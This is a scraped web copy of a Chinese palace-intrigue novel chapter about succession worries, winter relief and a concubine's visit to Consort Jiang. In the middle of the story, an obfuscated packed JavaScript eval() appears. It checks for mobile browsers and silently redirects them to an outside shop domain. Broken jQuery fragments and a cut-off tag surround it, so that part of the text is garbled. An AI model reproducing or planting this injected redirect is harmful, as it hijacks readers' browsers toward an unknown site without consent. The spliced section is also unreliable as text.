李成玉咬了咬唇,左右看了几眼,见宫人们都离得不近,才压低了声音说了句。
“我只是有些担心……父王那么喜爱姜良娣,她又生了儿子……”
话还没说尽,李成业已经明白了她的意思。
他也有过这样的担心。
尤其是在刚立太子那会儿,明明两个妹妹都得了爵位,他这个嫡长子却什么都没有,周围人的称呼还改了。
从前叫的是世子,现在叫的是大公子。
但经过了最初的担忧和焦虑之后,李成业很快调整好了心态。
父王对他的看重并不是假的,虽然没有请立爵位,但也请来了大儒教导他。
而且,他马上就十一岁了,再过几年就能大婚,姜良娣所生的四弟,才是个襁褓中的婴儿。
难道他还比不过一个尚在吃奶的小孩子吗?
李成业对自己还是很有信心的。
所以他并不担心。
“我最近学到了一句话,叫做打铁还需自身硬。要想博父王、皇祖父喜欢,还是要靠自己,而不是一味地打压对手。父王如今有姜良娣,以后还会有更多的女人,孩子也会更多。难道每一个我都要担心吗?我作为父王的长子,若是连弟弟妹妹都容不下,怎么让父王放心把……交给我?”
李成业说这番话时,语气并没有刻意压低。
他挺直了胸膛,朝宫人们一挥手,带着他们朝远处走去。
李成玉站在原地,眼神复杂。
她哥,好像不一样了。
兄妹俩自以为交谈隐秘,并不知道,没过多久,两人的对话,就传到了这东宫的两位主子耳中。
最先知道的,自然是李策了。
李策对儿子的表现还算满意,他请了好几位大儒,教导儿子立身正,现在看起来是有成效的。
姜挽月是稍晚一些才知道的。
她有些意外,旋即释然。
“到底是殿下最看重的儿子。”
那番话,大概是故意说给别人听的。
虽然李成业和李成玉是龙凤胎,一起长大,可当下对男女的教导却是迥然不同。
李成玉还是一团孩子气,喜欢漂亮衣服精致首饰,喜欢成为焦点,被人围着奉承。
而同样年纪的李成业,身上已经初显上位者的气势。他思考问题,更多会从利益出发。
哪怕对自己的亲娘,他也不会感情用事。
只见了这一面,他就断定卢清霜得了疯病,然后立刻做出了决断,不施救,又把看管卢清霜的任务交给了李成玉。
这孩子,从某种程度上来说,比李策更冷酷。
念头转换间,姜挽月看到了在奶娘怀中拱来拱去的儿子。
也不知煦儿长大后,会是什么样子?
要等一个孩子长大,实在是太漫长了。
姜挽月叹了口气,让奶娘把孩子抱去了外间,她自己则躺回了软榻上。
时间流转,很快,就到了腊月底。
这一年的冬天格外的冷,月初时连着下了几场大雪,城里城外不少地方被积雪压塌,更有贫困老百姓连炭火都买不起,被迫流落街头。
这时,东宫省下日常开销,施粥供炭,用以救助贫民,赢得了朝内朝外一片赞赏。
李策的名声也随之变好。
仁善、仁慈、明主等等溢美之词,都挂在了他的头上。
上行下效,有了东宫带头,各处的官员、富商,也纷纷跟循。
都没用朝廷赈灾,各地的灾情就被控制住了。
皇帝大悦,多次在朝堂上夸赞太子,某一日,更是直接把太子叫去了太极殿,陪着他一起批折子,论朝政。
太子越发的忙碌,每天只有三个时辰睡觉,自然,也就无暇宠幸女人们。
后苑的虞楚越望眼欲穿,都没能等来太子。
东宫规矩严,不允许随意进出前庭,以免耽误太子的正事。所以她们想送东西都没机会。
若是从前,还能在向太子妃请安时见上李策一面,可如今卢清霜“养病”,请安都取消了,谁也进不去。
虞楚越思来想去,如今,只有一条路可以走了。
这一日,正在忙着处理琐事的姜挽月,忽然听到外头有人禀告说虞承徽来时,她愣了一会儿才想起来说的是谁。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13397627|141203||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“请她进来吧!”
虞楚越只带了一个小丫头,穿着秋香色的衣裙,发髻也是简单的百合髻,只插了两支金叶发簪作为点缀,打扮得素净又低调。
她一进门,就恭恭敬敬朝姜挽月行了一礼。
“妾给良娣请安。”
姜挽月看着她,有些意外。
“坐吧!你怎么过来了?”
她上上下下打量了虞楚越一眼。
“可是宫里的人欺负你了?怎么穿成这个样子?”
她随即转头问杏儿。
“每个月给几位主子的衣裳首饰炭火银子,确定都送到了吗?”
杏儿忙不迭点头。
“奴婢看了账本,都送到了。”
虞楚越一听就知道姜挽月误会了,急忙解释:“不是,东西妾都收到了,炭火也是足的,也没宫人欺负妾。只是妾听说今日
殿下救助灾民,宫里都在节省,所以才会如此打扮。”
姜挽月有些无语。
“你这也太素净了。虽说这段时间咱们东宫要节省,但也不用这么个节俭法。你到底是殿下的人,是东宫的承徽。”
虞楚越原本就有些胆战心惊,听到姜挽月这话后,更是提心吊胆,慌忙站起来。
“妾笨拙,不懂这些,本想替良娣分忧,却没想到弄巧成拙。”
姜挽月摆摆手,让她坐下。
“好了,不必慌张,这也不是什么大事。”
虞楚越这才松了口气,坐了回去。
有宫女奉了茶过来,虞楚越端起来嗅了嗅,又浅尝了一口,觉得和自己那儿的茶也差不了多少。
她忍不住往姜挽月的手边看了看,发现是一样的茶,不由一愣。
姜挽月注意到了她的神情。
“怎么?这茶不喜欢?”
虞楚越连忙摇头。
“不是,妾很喜欢。只是妾没想到,良娣您也会喜欢喝铁观音。”
姜挽月浅浅笑了一下。
“这是闽中那边进贡的,味道偏重,但香气醇厚,我偶尔喝了一两次,觉得不错,就多采买了些。你也喜欢吗?”